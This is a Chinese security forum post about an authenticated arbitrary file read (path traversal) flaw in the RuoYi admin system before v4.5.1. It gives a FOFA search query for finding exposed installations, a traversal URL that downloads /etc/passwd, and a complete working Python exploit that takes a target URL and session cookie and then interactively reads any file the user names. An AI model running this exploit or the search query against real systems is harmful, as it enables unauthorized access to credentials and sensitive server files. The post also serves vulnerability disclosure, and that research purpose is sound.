安全矩阵

 找回密码
 立即注册
搜索
查看: 3056|回复: 0

若依(RuoYi)管理系统 后台任意文件读取

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2021-3-4 21:28:25 | 显示全部楼层 |阅读模式
原文链接:若依(RuoYi)管理系统 后台任意文件读取



前言


一、漏洞描述
若依管理系统是基于SpringBoot的权限管理系统,登录后台后可以读取服务器上的任意文件

二、漏洞影响
RuoYi < v4.5.1

三、漏洞复现
FOFA查询语句
app="若依-管理系统" && body="admin"


登录后台后访问 Url
https://xxx.xxx.xxx.xxx/common/d ... ../../../etc/passwd


访问后会下载文件 /etc/passwd


可以使用Burp抓包改变 /etc/passwd 为其他文件路径获取敏感信息






在更新的版本中添加了危险字符的过滤


四、漏洞POC
POC使用需要后台的Cookie,读取的文件路径应为根路径
  1. import requests
  2. import sys
  3. import random
  4. import re
  5. from requests.packages.urllib3.exceptions import InsecureRequestWarning

  6. def title():
  7.     print('+------------------------------------------')
  8.     print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
  9.     print('+  \033[34mVersion: RuoYi < v4.5.1                                            \033[0m')
  10.     print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
  11.     print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
  12.     print('+  \033[36mCookie      >>> JSESSIONID=xxxxxx                                   \033[0m')
  13.     print('+  \033[36mFile        >>> /etc/passwd                                         \033[0m')
  14.     print('+------------------------------------------')

  15. def POC_1(target_url, Cookie):
  16.     vuln_url = target_url + "/common/download/resource?resource=/profile/../../../../etc/passwd"
  17.     headers = {
  18.         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
  19.         "Cookie":Cookie
  20.     }
  21.     try:
  22.         requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  23.         response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
  24.         print("\033[32m[o] 正在请求 {}//common/download/resource?resource=/profile/../../../../etc/passwd \033[0m".format(target_url))
  25.         if "root" in response.text and response.status_code == 200:
  26.             print("\033[32m[o] 目标 {}存在漏洞 ,成功读取 /etc/passwd \033[0m".format(target_url))
  27.             print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))
  28.             while True:
  29.                 Filename = input("\033[35mFile >>> \033[0m")
  30.                 if Filename == "exit":
  31.                     sys.exit(0)
  32.                 else:
  33.                     POC_2(target_url, Cookie, Filename)
  34.         else:
  35.             print("\033[31m[x] 请求失败 \033[0m")
  36.             sys.exit(0)
  37.     except Exception as e:
  38.         print("\033[31m[x] 请求失败 \033[0m", e)

  39. def POC_2(target_url, Cookie, Filename):
  40.     vuln_url = target_url + "/common/download/resource?resource=/profile/../../../../{}".format(Filename)
  41.     headers = {
  42.         "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
  43.         "Cookie":Cookie
  44.     }
  45.     try:
  46.         requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
  47.         response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
  48.         print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))

  49.     except Exception as e:
  50.         print("\033[31m[x] 请求失败 \033[0m", e)

  51. if __name__ == '__main__':
  52.     title()
  53.     target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
  54.     Cookie = str(input("\033[35mCookie >>> \033[0m"))
  55.     POC_1(target_url, Cookie)
复制代码






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 22:24 , Processed in 0.014120 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表